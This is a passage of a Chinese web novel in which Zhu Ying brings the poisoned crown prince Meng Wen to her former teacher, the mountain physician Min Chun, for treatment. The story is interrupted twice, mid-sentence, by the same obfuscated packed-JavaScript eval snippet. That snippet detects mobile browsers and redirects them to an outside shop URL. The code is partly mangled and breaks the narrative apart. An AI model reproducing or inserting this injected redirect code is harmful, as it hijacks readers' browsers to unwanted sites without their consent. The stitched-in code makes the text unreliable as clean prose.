竺影一路膝行过去,一手掐着他手腕,为之切脉,一手为他抚平胸中积郁,不断安抚着:“殿下,可还难受得紧?” 从前的胆怯与慎微一并被抛诸脑后。 孟闻道:“你还没同我说,到底想做什么?” “我带殿下去寻医呀。”她依旧是这番话,两眼急切地望着他,“分明是中了毒,医官却说成是疫病。当真不能任由他们再拖了,再拖下去……” 这副身子骨就完完全全朽坏了呀。 她急得几欲落泪,她眼中这个快要病死的人,却分外自若。他垂着眼打量,试图从她的关切中,窥得几分真,几分假? 不得予她首肯,也不否去。 他的指尖带着凉意,攀上竺影的后颈,吓得她寒毛竖起。莫不是因昨夜的事生疑,假意诱她过来,这会要掐死她? 这厮怎生的这般奸诈? 竺影悻悻要躲,在心中拟好了遗言。 落在脖颈上的力道没有收紧,那指尖却顺着面颊爬上来,在不曾落泪的眼角轻蹭两下。 “嗯?” 竺影半阖着眼,听他说:“人还没死,你哭什么?” “没哭。”她生生把眼泪忍了回去,不去想遗言的事了,只想着,殿下或许脑子也病了。 孟闻问她:“你要把我弄到何处去?” “松山。”竺影道,“殿下还出得去吗?” “扶我。”他只说了两字,伸出一条手臂向她。 竺影万不敢在这时生卑怯,不多言说,主动托住了他的手,扶他往院中去。 太子殿下久病初醒,众人见他面色如常,在府中行走自如,便以为他的病已经大好了。 晚上,太子还到前院与众人用了膳,督促几个官员,明日去往尚泉郡,又说他养病这段时日,云琅之事暂托于容桢。 众臣僚悬了几日的心,终于得以放下。 只是他们没想到,到了第二日,太子殿下又改了口,说他要亲自巡游尚泉郡。 梁中正听闻时,府外已备好马车,太子将出府登车了。 可把梁叡下了个半死,疾步追出府去。 “太子殿下!殿下!”梁叡追着道,“此去尚泉郡须得两日路程,殿下病体欠安,切不可如此劳顿啊!” 孟闻本要登车了,见有人追来,又回身道礼:“本来两日前就该启程,无奈因病耽搁,如今只得仓促赶上日程。” 梁叡道:“殿下只宜好生修养,尚泉郡之事,何不交由他人着手操办?” 孟闻道:“并州辖下七郡,随行诸位臣僚皆有要务在身,各司其职。我不可因病懒政、怠政,从而使重任施加彼身。” 梁叡又要再劝,角音拦住他道:“梁中正请回,不必再劝。殿下早日启程,也好早归。” 梁叡道:“若殿下要亲往,还请带上医官随侍。” 角音道:“不劳梁中正挂心,殿下有随行的医者。” 孟闻与梁睿行礼告辞,竺影便搀扶着他登上马车,明显感觉到他的手坠下,又多沉重几分。令她有些吃力。 车帘一经放下,阻去外人视线,他一瞬间失了力气,身子向前倾倒,再维持不住方才的得体。 竺影欲扶他坐好,又扯过褥子垫在他身后,想让他靠着舒服些。 岂知他身子一斜,直往竺影身上摔,硬梆梆的眉骨砸在她肩骨上,疼得她直吸气。 竺影道:“殿下,不若您靠在褥子上吧?会比靠在我身上好受一些。” 他不应。 角音来到马车旁请示:“殿下,是否可以启程了?” 竺影见他脑袋低垂,冷汗浸湿额上絮巾,几乎不省人事了。 她张了口本要替他答,靠在她身上的人却先开口:“启程。” 竺影:“……” 原来他还清醒着啊。 算了,且将就如此。 谁叫人家是太子,也不好多说什么。 角音带领队伍,驾车出了城。一行人在云琅城外分成了两路,一路往尚泉郡,一路往松山。 松山不远,碍于山路崎岖弯绕,需在路上耗费不少时间。 从梁府到城外这一路,这病患都靠在竺影肩头一动不动,更不吭声。 冷汗涔涔地流,流过他失血脸颊,淌过苍白脖颈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763311|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他像刚从水里被捞出来,贴身衣物湿透。 竺影解下他头上的絮巾,当作手帕去擦汗,自上而下擦拭过他的额头、眉梢、紧缩的眉心,还有眼角…… 竺影有些恍惚,她从来没有这样去看过他。 他同明谌有些相像,相似的眉眼与轮廓,只有眼眸不尽相同,此刻他双目紧闭着…… 极度相似的面貌之下,是了无生气的病容。 光是这样看着,就让她不太好受。 她当真怕这个人死在自己身上了,给他擦净了脸上的汗,还是推着他靠在褥子。 竺影从袖中取出个小药瓶,里头还剩着几丸药。 孟闻昨夜吃了一丸,才得以强撑一副病体出席梁府晚宴。 竺影又取出一丸喂给他,捧着水壶递过去,“殿下可有好受些?” 孟闻饮了一口水,默不作声摇头。 竺影纳闷,怎会不起作用呢?难道是这药放太久,失了药效? “抱歉啊,让殿下耽搁了这么久。”她望着他枯槁般的形容,不知还能做些什么。 过会,孟闻缓缓睁眼,仍然难受得很,呼吸牵痛着脏腑,他其实不愿过多开口。 可她的期盼太明显,恨不能将殷切写在脸上。 孟闻看着她,问了一句意味深长的话:“就这么不想我死么?” 好不容易肯施舍一点回应,却使竺影更茫然。 “当……当然,我想殿下好好活着。”她磕磕绊绊回答。 “哦。”孟闻淡然一笑,“你还挺忠心的?” 忠心? 他说出口的却是问话。 竺影没有应答,低头替他掖好膝上的薄毯,借以遮掩心事。 “殿下难受的话,就先睡吧,再有两个时辰才能到松山。”竺影不想跟他搭话了。 孟闻说:“不。” 竺影不解地看他。 他又说:“痛着也好,才清醒些。” 要不说他与孟明谌是手足呢,说出来的话也如出一辙。 竺影道:“那殿下可需我陪着说话?” 客套而已,竺影等着他拒绝,没几个病人喜欢耳边有人吵扰。 可他病恹恹地,应了声好,又问:“说些什么?” 竺影挖了坑给自己跳,至于要说什么,她压根没想。思来想去,还是说道:“要不殿下还是睡吧?我不善与病人闲谈。” “病人”倒是十分善解人意:“不若我给你讲讲我的皇兄?” 竺影心中发怵,他提起的每一个话头,都让她没有听下去的欲望。 她问:“殿下说的,是哪一位?” 睢言笑着反问:“你想打听哪一位?” 竺影头皮发麻,哪里敢答?这人明明知道,她与孟晓之间藏着一层不清不楚的关系。她选襄王,这人会怀疑她有避嫌之意。若她选齐王,就坐实了她有二心。 她只得晃着脑袋,答道:“我无意了解殿下的两位兄长。” 孟闻报之一笑,这回答也并不能使他满意。 话题就此终止了,二人拢共也没说上几句话,到最后他还是撑不住,先睡过去了。 余下的路程,竺影轻松许多。 马车停在松山脚下,山道陡峭而狭窄,行人只可徒步上山。 几个随行的士卒留在山下,竺影在前引路,角音背了孟闻上山。 三月初,本是草长莺飞的时节,山林里的寒意未褪去,仍带了些萧瑟的冷清。 竺影一路上与角音叮嘱:“闵大夫不喜权贵,尤其是京城里的那些。你到了山上切莫提及殿下的身份,且说他是寻常人家的公子,别称殿下。神医脾气不大好,别一上去就颐指气使的,到底是我们到人家的地方叨扰,有求于人。千万要记得了。” 听她说了一长串,角音只回三字:“真麻烦!” 孟闻醒来叱责道:“角音。” 他这才勉强回道:“记得了。” 越往山上走,道路越崎岖狭窄,使得他一脚深,一脚浅;一脚碎石,一脚枯枝败叶。越发地难行。 竺影听到身后人的气喘吁吁,同他道:“还有一半的路,你要不要歇一歇?” “不需要!”角音一口回绝,转头又埋怨,“哪个正经的名医,会住在这深山老林里?你该不会是故意引我与殿下至此,想要杀人灭口!” “对对对,我就是要杀你!”竺影煞是无语。 已经到了自家地盘,懒得同他掰扯,索性胡说八道:“那你路上可要好好看着了,好给你家殿下挑一处葬身的风水宝地。” 角音气得破口大骂:“你个妖女!” 竺影道:“谬赞。” 角音怒道:“我杀了你!” “你来。”竺影面朝着他,倒着往山上走,肆无忌惮挑衅。 壮士怒而拔剑,奈何腾不出手。只因有个半死不活的人,尚在他背上趴着。 “角音。”他背上那人被气活了似的,气若游丝喊了他一声后,止不住地低咳,咳得断断续续。 角音忙偏头看向太子,问道:“殿下有无大碍?” 孟闻道:“无碍。” 角音依旧不放心:“可我见殿下咳得难受。” 孟闻道:“无事,上山吧。” 角音道:“殿下竟还要上去?” 竺影附和道:“殿下也觉得这处是块风水宝地?” 孟闻没力气同她讲话,却是轻呵出一笑。 竺影略显吃惊,他竟是在笑啊,有气无力垂在角音的背上,笑得只剩气音。 怕他就这般把自己笑死了,竺影遂不再与角音玩笑,正经道:“赶路吧。” 这处的争吵止息,山道间传来行者的歌声,是竺影熟悉的乡音。 回头一看,是个年轻的乡人,着麻衣穿草鞋,负竹篓提竹箱,自他们身后而来。 他见了竺影一行人,放下竹箱,先行拱手行礼道:“敝人常年居深山,鲜少有来客。不知几位远客可是为求医而来?” 角音见了来人,心中一喜,上前问道:“莫非你就是闵神医,竟如此年轻?” 闵福摆了摆手,笑道:“非也非也,敝人虽姓闵,却非足下要求的神医。” 角音嘴角笑意一收,直接将失望写在脸上。 竺影认出来这人正是闵春之子闵福,于是拢袖与之道礼:“一别经年,师兄无恙否?” “噫!”闵福听她如是称呼,莫不惊讶,“你竟是……竟是小竹吗?万想不到,你还会回来啊!” 又看向角音背着的人,“后面的这位,是祝先生么?” 竺影道:“不是,他患了重疾,我带他来此求医。” 后以眼神示意他,别问太多。 闵福道:“既是为求医,还请诸位随我一道上山罢。” 若非在半道遇上了闵福,角音万不敢相信,有人会住在这鬼地方,杂树乱生,野草埋径。 又往山上行了一段路,才看到有人生活的痕迹,石路溪桥,竹篱茅舍,在鸟鸣山更幽处被远去。山上只有闵春大夫和一个弟子,前山是登山道,后山则是上百亩药田。 破茅草屋前,不见什么神医,只有一个勤勤恳恳的健壮农妇。妇人挥动手里的耙子,在翻晒地坪上的药材。 角音直接忽视了妇人,视线往草屋四周探去,嘴里嚷道:“怎么没有人呢?神医何在?” 闵福呵呵一笑,指着屋前妇人,说道:“小兄弟真是有眼不识泰山,这位就是你要求的神医,闵春大夫。” “什么?”角音堪遭雷击,惊得嗓子破了音,指着晒草药的妇人道,“你说是这个农妇?莫要与我开玩笑!” 他果然又将竺影的嘱托抛在九霄云外了。 竺影急道:“快住口,我说她是她就是。” 角音再次激动起来:“你胆敢再胡言乱语!我这就带殿下下山回去!” “你去你去。”竺影看他蠢得无可救药,指着下山的路说道,“若神医不救,我可救不了你家殿下。” 角音眼里的“农妇”立起耙子,扯袖擦了擦额上的汗,看着篱笆外几个吵嚷的后生,说道:“快将人放下吧,别让他死我屋外头了。” 角音问:“放哪儿?” 闵春笑道:“你这后生说话真是好笑,当然放床上啊,难不成放地上么?” 37. 拟行路难(七) 闵春大夫身上透着农人的淳朴,一身短褐,木枝绾发,麻布裹头,住的草堂更是简陋得不能再简陋。 角音用了很长一段时间,才接受竺影中神乎其技的医者是个农妇。到底还是认为自己被诓骗了。 为今之计,只能死马当活马医。 眼看那“神医”干完农活,扯过一条脏布擦手,就去给太子殿下切脉了,偏拦着角音,不让进去。 角音只能干看着,坐立难安,在屋前踱来踱去。 竺影和闵福却是坐在地坪上晒太阳,谈笑风生,半点儿也不心急。 闵福问竺影,这些年在京城过得如何,家中长辈身体如何,祝先生的病如何…… 竺影编了点谎,一一圆了过去。 这位师兄没什么可问的了,竺影便问:“师兄今晨下山去了哪里?” 闵福道:“阿母听说葛县不少人生了疾病,叫我送些药材过去。” 竺影道:“病的人多吗?只师兄一个人怎么送得过来?” 闵福道:“这不也没有人手,明日再去一趟罢。” 竺影问:“有没有什么我能帮上的忙?偏我这时还带了病人上山,给你们添麻烦。” 角音在背后气鼓鼓地瞪她,她竟说殿下是麻烦。 闵福道:“不必不必,阿母见你回了,高兴还来不及。” 竺影道:“我已十年未归了,不知师傅还认不认得出呢。” 刚说着她会高兴,身后飞来一条手巾,“啪”一下抽在闵福后脑上。 一转头,是闵春大夫在骂道:“闲聊什么呢?活干完了吗?” 闵福捂着头起来,和和善善喊了一声:“母亲。” 竺影也笑意晏晏到她面前,盈盈揖礼:“师傅。” “噫!”闵春大夫眼前一亮,大惊道,“你是哪里来的女郎呀?怎么乱叫师傅?” 竺影笑道:“山下来的,竺家的。” “原来是你!”闵春听罢眼前一黑,忍不住扶额气笑了,“我就说他身上这毒怎么这样稀奇古怪,这些个难治的病人,你都是从哪里给我找来的呀?” “啊?这个也很难治吗?”竺影心虚时声音也低,“正是因为难治,我才来找师傅呀。” 其实她也就只为两人求过医,一个是云琅祝家的公子祝从嘉,先天不足;另一个就是梁朝的太子殿下了,不知被人下了什么毒,虽可恨,也可怜。 闵春扯着竺影走到屋旁,压低了声音道:“不过你也别担心,祝家那个先天不足的,师傅也没辙。但后面的这个,师傅一定给你治好。虽说人不如故吧……后头这个也不差了,你也节哀。” 节什么哀? 竺影听得一头雾水,随后反应过来:“师傅你是不是误会了什么?” 闵春道:“咦?不是吗?” 竺影道:“祝家的公子还活着。” “这样啊……”闵春顿时恍然大悟,声音低了又低,“那他是跟别人跑了吗?你呀真是,这么多年徒劳,反为他人做嫁衣。” 竺影几乎语塞,艰难解释说:“也不是您想的这般。我带来的这人,其实是祝家公子的学生,与我没多大关系。” 这么说,也不算撒谎吧。 “原来如此!”闵春再度恍然,“你早说不就好了。” 竺影又叮嘱她:“师傅您可千万别当真外人的面乱说呀。” “放心放心。”闵春大夫连连应答,“师傅心里有数。” 院里其他两个人凑过去偷听,又被闵春一手巾抽了回去,“瞎凑什么,赶紧把院里的草药翻晒了,明天送下山去!” 闵福撇嘴道:“行。” 角音被抽了一脸,还木在原地。 闵春大夫才想得起他这号人来,上下打量他一番,问道:“屋里躺着的,是你家公子吧?” 角音道:“是。” 闵春道:“先说好,我不白给人治病,要收报酬的。” 角音道:“闵大夫若能治好我家殿……公子,在下定当以千金酬谢!” 闵春道:“我一个山里人,要再多钱也没用,不如叫你给我干活。要么去柴房劈柴,要么去地里锄草,自己选一样吧。” 竺影在一旁道:“师傅,你不知这人有多笨手笨脚,脑子也不甚灵光,让他去地里踩坏了草药,你不心疼吗?” 闵春转念一想:“也是啊。” 竺影又道:“这匹夫一身的劲,叫他去劈柴正好。” 角音攥着拳头,气得龇牙咧嘴,太子的性命捏在别人手上,又只能沉着脸不敢反驳。 竺影被他气了多回,终于在这里报复回来了。 闵春一指隔壁柴房,同角音道:“柴刀就放在柴堆上,怎么劈柴不用我教你吧?” 角音咬牙道:“不必。” 院里的两个男子都被闵大夫打发了,竺影才想起要问:“那位公子的病,师傅看得如何了?” “呀!”闵大夫再一拍脑袋,“只顾着与你说话,怎么把他给忘了?” 竺影:“……” 她师傅的医术无可指摘,至于医德,也是有的,偶尔才有罢了。 闵春大夫到草堂中给病人配药,竺影也跟着去,给她搭把手。 闵春问道:“来之前,你给他扎过针了?” 竺影道:“扎过,还是师傅教我的那一套。” 闵春道:“难怪。得亏你这么多年没荒废,不然他被你这么胡乱一扎,不死也残废。” “啊?”竺影慌慌张张道,“我扎错了吗?” 闵春大夫乐呵呵笑道:“没有,我就吓一吓你。看你,自己都不敢笃定的事,怎么敢用在病人身上呢?” 竺影长舒一口气,又是虚惊一场。房门敞开着,她朝里瞥一眼,只见榻边垂下一片衣角,不闻动静。她问:“那他什么时候会醒?” 闵春道:“得看他,什么时候想醒来了,就会醒。” 师傅这意思,就是他可能现在就醒着? 竺影也不敢多说话了。 只等师傅称好了药材,取了泉水浸泡。竺影洗出一只陶锅,把药炉里的灰清理了,等着煎药。 角音在柴房外劈柴,一斧子一斧子挥下去,似要把怨气都往柴火上发泄。 闵福师兄翻晒过一遭药材,叫竺影有空时帮忙翻一翻,竺影随口答应下来。他又背起那高高的竹篓,到后山采药去了。 春后多生疾疫,求医者甚众,闵春大夫忙着给山下的病人配药,没多少功夫陪竺影闲聊。 一整个下午,竺影都独自守在药炉前。 屋外沐着暖阳,走进檐下才发觉,屋中凉得沁人。 竺影端药进屋,榻上的人醒着,已自行坐了起来,安静不语。 郎君长袍玉冠,素衣广袖,局促在一间逼仄的屋子里,枕藤榻卧草席。他本就苍白,坐在灰扑扑的陈设当中,又多惨淡几许。 竺影朝他走过去,勉为其难挤出点笑意:“该喝药了。” “嗯。”孟闻淡淡应答。 清苦的药香弥漫开来,药碗近在眼前,他却不知伸手。都到山旮旯里了,他还不忘自己是太子。 竺影僵着笑意,耐着性子,如往常侍奉汤药那般,吹凉了一勺送去。 药匙送到了嘴边,孟闻却不张口,一双眼直直望着他,启齿发问:“你为何会知道这里?” 竺影答:“我曾拜闵春大夫为师,随她行医。” 孟闻又问:“竺家的女公子,为何会学医?” 他仍记得她是官家子女,却会在这样偏僻的山林里学医。 竺影道:“想救人。” 她欲救的是何人?孟闻本还要问起的。可她一句“并州多疾疫”,就此搪塞了过去。 “哦。”他也如是敷衍应一声。 竺影催促道:“殿下,先喝药吧。” “好。”孟闻将她伸来的勺子推了回去,端过药碗一饮而尽,如饮水般稀松平常,看得竺影喉咙发苦,眉头紧皱。 空碗递回去时,他同竺影道了声谢。 “殿下要谢的话,还是谢我师傅吧。” 竺影才不敢承他的谢意,收走药碗,便赶紧离去。 山中无杂事,入夜早,山中人休憩得也早。 晚间,闵福回来煮了些粟粥,配上些渍蔓菁对付了晚饭。 太子殿下对此倒没多说什么,他在西苑最清苦的那些年,也不外如是。 竺影忧心孟闻夜里觉着冷,他毕竟是个病人,于是另给他搬来一床褥子。 铺好了床榻,众人都将睡了,只有角音还在孟闻的房间门口守着,可谓是尽忠职守。 闵春看不太懂,问竺影道:“他站在那里干什么?” 竺影道:“我不知道。” 闵春道:“当门神吗?” 竺影忍不住笑出声来。 直到房间里的人开口:“角音,你自睡去,不必守我。” 接着又几番催促,角音这才不当门神了。 闵大夫的草屋勉强隔出三间房,病人单独占了一间,竺影和师傅住在一起,角音和闵福宿在一处。 山间不闻鸡鸣叫,晨间自有鸟鸣扰。 群山之环绕了一圈雾霭,天边浮了一层薄柿色,天刚刚明,浮云尚不曾褪尽。 师兄闵福早早起来了,收整完昨日晒好的草药,背篓下山去给葛县乡民送药。 早饭过后,闵大夫回屋亲自为孟闻施针,他面色比之昨日好了许多。 闵春大夫一边熟稔地行针,一边神秘兮兮道:“后生,你是得罪了什么不得了的人吧?” 孟闻皱着眉,不解其意。 不等他出言自辩,闵春心中已有了盘算,分析得头头是道:“你身上中的这毒可不常见呀,不像是寻常人能弄到的。” 孟闻没答话,闵春便当他默认了。 行针拢共两刻钟,也没见他说一句话,闵春只当他是不爱说话。 灸完了针出门去,阳光刚刚照到屋檐下。 角音吃过早饭,已自觉劈柴去了。 闵春朝柴房的方向喊了一句:“大牛,出太阳了,屋里有张藤榻,去把你家公子搬出来晒一晒,病会好得快一些。” 角音翻了个白眼,嘀咕一句:“你当我家公子是药材呢?还晒晒?” 隔壁半晌没有动静,闵春便又催:“听到没有?” 角音满腹牢骚:“我叫角音,宫商角徴羽的角,不叫什么大牛。” 他郑重其事纠正神医的称呼,神医听不懂,只回一句:“我管你呢?” 闵大夫素来如此,她只记得这人患的什么病,不去记这人唤的什么名。 这些年来,也有不少前来求医的病人,在她的茅草屋前来来去去的,生死看惯。 他们求得良方良药便下了山,其中的大多数都会变成此生不会相逢的陌路人。 所以不记得也罢,可以省却许多事情。 竺影道:“他就是这样的人,说话可难听,师傅别往心里去。” 闵大夫不甚在意地笑笑:“我看这后生很不错啊,他不光嘴勤快,干活也勤快。” 一看柴房前,堆了满墙的柴薪,排得整整齐齐。 角音背地里又骂了一句,撂下柴刀,刚走到门口。就见昨日还半死不活的太子殿下,今晨已经能下榻行走了。 角音遂不骂了,心中改敬神医。 孟闻披衣走出门来,朝闵春大夫作揖道谢:“多谢闵夫人搭救。” 闵春大夫笑得直摆手:“什么夫人不夫人的,我就一山野妇人,闲来无事给人治个病,只会一点皮毛罢了。” 竺影本来还在药炉前煽风燃火,扇着蒲扇的手突然一顿。听自家师傅也如此自谦,她再不敢自称略通医术了。 闵大夫又道:“得亏你是年轻人,不然没个两日,还下不来床呢。” 孟闻问道:“不知晚辈这病,须得多久能治好?” 闵春道:“你这毒难解呢,如要彻底根除,最短也需两个月。” 竟要足足两月啊,他定然耽搁不起。 孟闻又道:“实不相瞒,晚辈有要事在身,无法在山中停留太久,不知能否快些?” 闵春思索道:“这样吧,你要是能撑得住,我就给你下一剂猛药。最快半月就能下山。” 孟闻仍旧摇头:“还是太久,可否再快些?” “还要再快?”闵春也急了,“再快你赶着投胎啊?” 妇人竟对殿下口出不逊,角音也急:“大胆!” 眼见着他们要吵起来,竺影忙撇下药炉,上去相劝。 她也清楚,云琅诸事耽搁不了这么久。 竺影道:“师傅,您看这样可好?这几日您为这位公子医治,我在旁学着。待他脱了性命之虞,我会同他一道下山去,其后的药石针刺灸疗便交由我来。” “你?”闵春大夫若有所思地盯着她,又看了看那个面色僝僽的后生。 许多年以前,有个上山学医的小女郎也说过类似的话,做了同样的事。她说要救人,要救他,就稀里糊涂跟人下山,一去十多年呐…… 闵春沉着脸把竺影拉到一旁,没忍住责骂她道:“你当真是糊涂啊!” 竺影道:“有何不妥吗?我本就是要和他一道下山的呀。” 闵春道:“往后你还要专为他治病不成?” 竺影道:“那倒不会,师傅不必担心,我与他只同行这一路。” 闵春道:“当真?” 竺影道:“当然。” “这才好。”闵春终于放下心来。 两人背地里商量妥了,才回到屋前。 角音刚搬了屋里的藤榻出来,让殿下在屋前休憩。 闵大夫到孟闻面前摊开五根手指,说道:“五日,最少也需五日,少一日都不行。” “好。”孟闻应下了。 闵春道:“你既来求医,就必须得听我的,否则轻易放你下山,任你死在了山下,不是坏我名声么?” 孟闻复又朝她揖礼道:“晚辈先谢过闵夫人了。” 闵春道:“别谢我,叫你旁边那小兄弟多帮我干点活罢,山里人也忙呢。” 角音自觉道:“我去劈柴。” 竺影道:“我去煎药。” 几人又各司其事去了。 闵春从屋里搬了另一批药材出来翻晒,好几次从竺影面前经过,她都闷闷的,也不抬头说话。 她长大了,下山十多年再回来,已变成了二十多岁的女郎,于闵大夫而言,只是一夜之间的事。 寄居在闵大夫记忆里的,是童年时的竺影。 她幼时也吵闹啊。 竺家那小女郎当初哭着嚷着要跟闵大夫学医,闵大夫被吵得不行,才答应收她。读医书、辨药材,都是漫长而枯燥的事,也有几次,她吃不下苦头,吵着闹着要下山回家,都被闵大夫哄了回去。 只有最后一次,闵大夫没能把弟子哄骗回来,她下山回了家。不多久,竺太守一家就移居京城了。 京城能是什么好地方? 瞧她徒弟去了一趟回来,人都换了个芯子。 一个人有什么心事,能骗得过旁人,瞒不过医者。 转眼晌午了,日头高悬。闵大夫晒完了药材,扯了张草席过来,坐在茅草檐下休息。 角音提了木桶去山下挑水,篱笆院里就三两个闲人。 一个犯了病的,拿本书盖在脸上装死;另一个眼里只盯着药炉,都不主动找闵大夫说话。闵福也还没回来,闵大夫怕是要闷出病来。 闵春侧头看着竺影,又问起她:“祝家公子身体可还康健?你怎么都不和我说他了呢?” 闵大夫这一问,那装死的人也不装死了,脸上的书“啪嗒”掉到了地上。 竺影安安静静守着药炉,只答:“不如旧。” 闵春道:“不如旧,是比从前好了,还是比从前差了?” 竺影道:“差。” 不等闵春问起点别的,她便借口药煎好了,进屋去拿碗。 闵春当然看得出来,竺影总对此避而不答,她以前总将祝家公子挂在嘴边的呀。 要是祝家那小子在这里,闵春定要好好问一问他。 竺影若无其事地,盛了药给孟闻送去,药汤还烫,便放在他手边晾凉。顺带替他将地上的书捡起来了。 做完这些,竺影本要回屋躺着了。 闵春又叫住她:“小竹,你的手怎么了?” 竺影疑惑:“师傅问的是我哪只手?” 闵春道:“左手。” 竺影方想起来:“以前受过点伤。” 闵春道:“过来给我看看。” 竺影乖乖把手伸过去,顷刻她便后悔了—— 闵大夫一探便知:“尺骨以前折过?哪个庸医给你接的?仍有点不贴合……” 扶着竺影的手臂一摸一正,竺影还没反应过来,从前的伤处已经整复。 闵春道:“你再试着用一用劲。” 竺影尝试转了转手腕,左手当真不觉乏力了。 她笑道:“果然什么事都瞒不过师傅呀。” 闵春也哼笑道:“我不问起,你当真还想瞒我呢。师傅又不是什么外人。” 竺影悄悄窥一眼沉目喝药的太子殿下,她未尝不想倾吐一番,可是院里尚有外人在。 可师傅似乎没把孟闻当外人,好像也没把他当人。 闵大夫一旦搭上旁人的脉,习惯张口就来:“当初一见你面黄肌瘦,方才又观你脉象细沉,定是时常担惊受怕,我就知道祝——” “不,师傅你什么都不知道。”竺影着急忙慌地捂上师傅的嘴,盼她别再说下去。 她总算知道太子殿下为何忌医了,毕竟在医者面前什么都瞒不住。 闵春愤愤道:“我就知道祝家那小子没照顾好你!” 竺影心里咯噔一下,忙说:“没有的事,没有的事。” 闵春又是一副怒其不争的表情:“你别替他说话!以前就是这样,如今还这样。” 竺影把师傅扯到一旁,压低了声音道:“我知道师傅您生气,可是您看——还有外人在呢。” 她口中的“外人”不疾不徐端起药碗,轻轻笑了下。 这倒是提醒了闵大夫。 闵春倏尔移目,看向孟闻:“后生啊。” 闵大夫不知他是太子,才会这样称呼他。若知他是太子,定要举起锄头抡死他。 云琅的百姓就是这样痛恨朝廷的人。 闵春问道:“听小竹说,你是祝先生的学生吧?” 孟闻顿了顿,略略颔首:“是。” 闵春道:“托你帮我个忙,可好?” 孟闻道:“但讲无妨。” 竺影乞求道:别讲,别讲。 闵春不听,她偏要讲:“望你回了京城,转告祝先生几句,叫他好生照顾小竹啊。当初他可是在我这里立了誓的,岂能说话不算话……” 竺影此刻笑得比哭还难看,扯着闵春的袖子哀求:“师傅,我求您别再说了啊。” 再说下去她当真要完了呀。 她在孟闻面前撒过那么多谎,好不容易把竺家和祝家的关系囫囵过去,岂能料到师傅一机灵,把她的事抖出来这么多? 怕是等不到太子殿下回去交代,她就要死在回京的半道上了…… 闵春道:“怎么不让说啊?他把你养得这么差,还不准说几句了吗?” 竺影低着头,不敢去看孟闻脸色。 她惊惧,赧然,诚惶诚恐,权势也是杀人的刀,轻飘飘一道口谕便可夺人性命,远比有形的利器更令她恐惧。 竺影真想即刻回屋,找根绳子把自己吊死。 只恨师傅的草屋不结实,非但吊不死她,反会把房梁坠塌。 孟闻喝完了药,轻轻搁下碗,粗糙的瓷碗磕在木案上,发出沉闷一声。 闵春笑着看孟闻,道:“就这几句话,能不能帮我带回去给他?” 孟闻微微一笑,道了声好,“晚辈定会亲自转达。” 声音喑哑,却穆如清风。 闵春大夫笑着颔首,云淡风轻道:“你看人家多和善,多好说话,你怕他做什么?” 天底下最和善、最好说话的太子殿下也噙着笑意,附和着道:“是啊,你怕我做什么?” 竺影一口气悬在胸中,不上不下。她怕朝不保夕,怕祸及家人,他明知道她怕什么。 可师傅不知道这人有多能装。一个中了毒快死的病秧子,生生被她给看顺眼了。 竺影收碗回了屋,闵春也跟着进去,竟还与竺影打听起来:“就门外那个,他是哪里人士?” 竺影道:“师傅不是从不过问病人的事么?” 闵春道:“可他是你带回来的,师傅得问呐。” 竺影十分坦诚地吐露:“那要叫师傅失望了,他是延都人士,家住京城。” “噫!”闵春大夫顿时黑了脸,一时间打消好多念头,“京城啊……京城可不好,你给他治好了病以后,就赶紧离他远点。” 竺影笑盈盈应下:“好。” 这样才对呀。 待闵福师兄从葛县回来,闵春大夫伙同他骂了祝家郎君一晚上。即使当着他“学生”的面,也毫不顾忌。 其间,她还与孟闻道:“他既是你的老师,也该为人师表,你说他怎能做出这些事啊。” 孟闻连连称是,一连点了好几下头,不掩幸灾乐祸。 竺影知道他从来不喜祝从嘉,如此正合了他的意。 师傅一生活得恣意无拘,总是有话直言,不会憋在心里。竺影怎么劝也劝不住,只得选择闭口不言。 不过医者仁心,骂归骂,到第二天早晨,闵大夫还是给远在京城的病患配了新药。 竺影本不想过去给师傅搭手,怕又招她骂。可是相比之下,更不情愿单独面对孟闻。 闵春叹道:“应当是我最后一次给他配药了吧。” 虽说闵大夫多年不曾见祝家公子,对他的病还是知根知底的。他那副残破的身子能拖到今日,已是不易。 竺影道:“也是我最后一次麻烦师傅了。” “别。你以后的路还那样长,可别把话说得太早。指不定下回带了别个男子上山来,师傅还愿意给你掌眼。”闵大夫一挑眉毛,得意扬扬道,“你师傅见过的人可多了去,什么好人坏人,一眼就给你分辨出来。” 竺影以为,师傅说的好坏,是指人身体的好与坏。 想到以后再难回云琅了,竺影只道:“不会再有了。” 闵春不解她的心事,苦口婆心劝她:“真不是师傅诓你,祝家小子那病好不了。” 他的病治不了,治不好…… 这些话师傅说过很多遍。 竺影淡笑着道:“我知道呀。” 闵春默默盯着竺影看了许久,叹道:“你真犟,又犟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785208|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又糊涂。也不敢跟我说这些年过得怎么样,让我平白猜来猜去的。” 一直低头秤药的竺影抬了头,望着师傅温柔地笑了笑:“那就不去猜,师傅见到过什么样的我,就记得什么样的我。您看,不管是十岁的我,还是二十岁的我,不都好端端地在这里吗?” 闵大夫嗔怪:“净知道说些歪理!” 所有的心事,都被竺影轻轻一笑遮掩过去。 她还有许多话没跟师傅说,她没说京城里的变故,没说竺家已经落了难。没告诉师傅,她和祝家公子早不似从前,竺家与祝家其实早就行同陌路。 闵大夫久居深山,这些消息很难传到她这里来。 两人在屋里闲聊,闵福掀了帘进来,说道:“阿母,肺形草不剩下多少了,我去后山一趟,顺带采一些别的药草。” 竺影道:“师兄,让我去吧。” 